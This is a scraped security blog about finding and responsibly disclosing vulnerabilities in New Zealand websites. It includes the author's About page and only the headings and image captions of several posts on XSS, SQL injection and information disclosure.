It’s been a few months and I’ve noticed that the comments system has been reinstated. A data migration has taken place where the user IDs in Coral have been replaced by the user’s account ID (instead of their email address). This is a welcome change when compared to the error message previously seen when viewing the comments sections. Now you can comment on articles with the confidence that your email isn’t being leaked.

The user IDs have been fixed so that they don't leak information.

Cover photo by Ashni on Unsplash

About

Mon, 01 Jan 0001 00:00:00 +0000

This website is a blog dedicated to finding security vulnerabilities in New Zealand websites and getting them fixed. I aim to publish a new post each weekend until all the websites are fixed 😉.

The Motivations

I have a few reasons for starting this blog, so bear with me.

Accountability

It wasn’t so long ago that one could find major security issues in some of New Zealand’s biggest websites without too much trouble. Often these websites’ security issues would involve leaking all their users’ personal information (and sometimes even their passwords… in plaintext). While these issues were eventually fixed, the users of these websites were never told that their personal data was compromised. I don’t think this is good enough.

Companies should have a responsibility to inform their users of a breach so that their users can take the required extra steps (like changing their passwords, etc - although, everyone should use a different password for each website but that’s another issue altogether, really). Every website has software vulnerabilities; the fact that a website is on here means that they care enough to have fixed them!

Education

This is twofold, I think there that many different kinds of professionals can learn something from reading through the posts on this website.

Defensive

Most of the vulnerabilities in websites are pretty simple ones to fix if you know what to look for. But thinking about the bigger picture here, if you’re a developer and add features to a software project, you should be aware of the common risks and pitfalls.

This blog aims to to show developers what not to do and how these issues can crop up in the wild. It’s a showcase of the OWASP Top 10 but in relatable terms; pretty much every Kiwi has used some of the websites listed on this blog. As such, despite the sensationalised titles, each post is presented in an educational style.

Offensive

And if you’re on the other site of it, I want to show you how you techniques that you can use to break websites. If I’m being honest, most of the techniques used here aren’t particularly sophisticated and can be learned in an afternoon if one is already familiar with web technologies and software development. But you can probably still learn something regardless. I’m constantly learning new things when I’m evaluating websites for issues.

I also want to encourage other hackers to do the right thing if they find a security issue on a system; the more people we have finding and reporting issues, the better the internet will be for everyone! It’s also really fun to find vulnerabilities and I encourage everyone to try it!

The Techniques

I use only the most top-secret elite hacker tools on the market (like Firefox, or Google Chrome). Seriously, all you need to find and take advantage of most websites is just a web browser. It’s not very often that I have to use something a little more sophisticated like Burp Suite.

Finding the vulnerability is often the least time-consuming part of the process. I’ll often only spend about 30 minutes evaluating a website. Sometimes I’ll find no issues and sometimes I’ll find half a dozen issues. It just depends on how much thought and investment this website has put into security.

After I find a problem on a website, I’ll write a report with enough information so that the website maintainers can fix it. This report will often include screenshots or videos if needed. I also include some possible ways that a malicious 3rd-party could abuse the vulnerability to do damage to the website. Sometimes this involves creating a proof-of-concept (PoC); there’s really nothing like a good demonstration to motivate a company into fixing an issue.

I’ll then make contact with the organisation behind the website and give them the report. To provide some motivation to fix the issues quickly, I let them know that I’d like to publish a post online based upon the report within 90 days once the issues have been fixed.

After that they’ll usually have the issues fixed pretty quickly; some of the bigger companies will only take a couple of hours to get things sorted.

The Human

I’m a software engineer based in Ōtautahi, New Zealand. This website is just a hobby project for me. Among other things, I tutor computer science to university students and am trying to figure out how to make the violin sound not terrible.

Jesse Hacks NZ

Congratulations! You've Won?

Introduction

The Search Bar

A regular search term showing a popup window with search results.

XSS via the Search Preview

The user's search term is echoed back to them without being HTML-escaped.

XSS via the Search Results

The user-supplied input is echoed back twice.

How Bad Could It Be?

Images

Successfully injecting an image via the search form.

Scripts

The plain page returned by the WAF.

Going Phishing

A somewhat convincing phishing attempt that tries to get the user to follow a link to a different website.

Disclosure

The vulnerability has been fixed.

Constructing a Career in XSS

Introduction

The Happy Path

The careers website for this company.

Breaking the Page

The JavaScript errors caused by our search term changing the source code.

This is what the user sees when we put a double quote inside our search term.

Getting Control

Impact

Deleting User Accounts

The page after viewing the 'delete account' search term.

Exfiltrating User Data

Disclosure

The Phone Call

Extra: Privacy Link… Dot Com?

Note the link to the privacy policy.

Ah yes, the link for the privacy policy...

Update (2024-12-15)

Checkmate! Pwning the Database

Introduction

What is SQL Injection?

A Contrived Example

The Player Ratings Page

The ratings page for all ranked players in NZ.

Detailed information about an individual player.

Detecting a SQL Injection Vulnerability

An error page containing the SQL stacktrace.

Getting the Server Version

Ordering the Server Around

This SQL error message has more information about the query.

Blind SQL Injection

Now we're cooking! We can ensure that we can add extra SQL without modifying the returned data.

The error message from selecting zero rows.

How Long is a String?

One Character at a Time

You can see the network requests in action 🤩.

Impact

Disclosure

Book Shop Name Flop

Introduction

Exploring for Issues

User Profile

Note the 'y' in the user's name is rather heavier than the rest of the letters.

What’s in a Name? (Spoiler Alert: It’s JavaScript)

The name has been properly escaped in 1 and 2 but not 3.

It works! We can successfully inject scripts into the page via our name.

Why Does This Work?

Ensure you escape user-supplied values, people!

Impact

Disclosure

Helping Oneself to the PII of 800,000 Users and More

Introduction

The frontpage of the website.

Information Disclosure

In a Stacktrace

The error page returned by https://embed.website-name.co.nz/catalogues/view/

In the Headers

These headers are returned with every HTTP response.

Cross-Site Scripting

Via the User’s Name

Cross-site scripting allows arbitrary HTML (including JavaScript) to be rendered on each page load.

Via Email

We can also do some '90s-style animations using the `marquee` tag.